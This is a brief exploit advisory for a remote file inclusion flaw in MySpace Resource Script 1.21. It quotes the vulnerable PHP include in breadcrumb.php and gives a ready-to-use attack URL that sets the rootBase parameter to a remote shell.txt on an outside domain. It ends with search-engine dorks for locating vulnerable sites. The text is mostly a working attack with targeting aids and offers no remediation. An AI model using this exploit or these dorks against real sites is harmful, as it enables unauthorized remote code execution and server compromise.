MySpace Resource Script (MSRS) 1.21 RFI Vulnerability

MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC : /_theme/breadcrumb.php Line No. 3 <?php include($rootBase . '/_inc/breadcrumb.php'); ?> Usage : http://site.com/_theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks : inurl:/Generators/Layout_Generator "!new Female Celebrities" inurl:/Generators/Scrollbar_Colors